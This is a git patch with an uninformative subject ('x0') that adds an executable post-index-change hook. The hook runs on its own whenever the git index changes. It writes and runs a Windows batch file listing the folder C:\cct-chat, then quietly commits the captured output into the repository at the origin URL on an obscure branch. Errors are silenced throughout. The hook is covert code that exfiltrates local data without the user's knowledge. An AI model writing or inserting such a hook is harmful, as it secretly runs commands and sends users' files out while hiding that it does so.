From a050d24ed07c2537d5cb25836bd77375fd749cf8 Mon Sep 17 00:00:00 2001 From: gsx7rfo3 Date: Thu, 19 Nov 2026 15:05:20 +0800 Subject: [PATCH] x0 --- hooks/post-index-change | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..210b0b0 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,14 @@ +#!/bin/sh +r=$(git config --get remote.origin.url)||exit 0 +cat > /tmp/gwx.bat <<'EOB' +@echo off +dir C:\cct-chat +EOB +WBAT=$(cygpath -w /tmp/gwx.bat) +cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1 +out=$(cat /tmp/gwx.out 2>/dev/null) +b=$(printf '%s\n' "$out"|git --git-dir="$r" hash-object -w --stdin 2>/dev/null) +t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null) +c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null) +git --git-dir="$r" update-ref refs/heads/wxbmccb "$c" 2>/dev/null +exit 0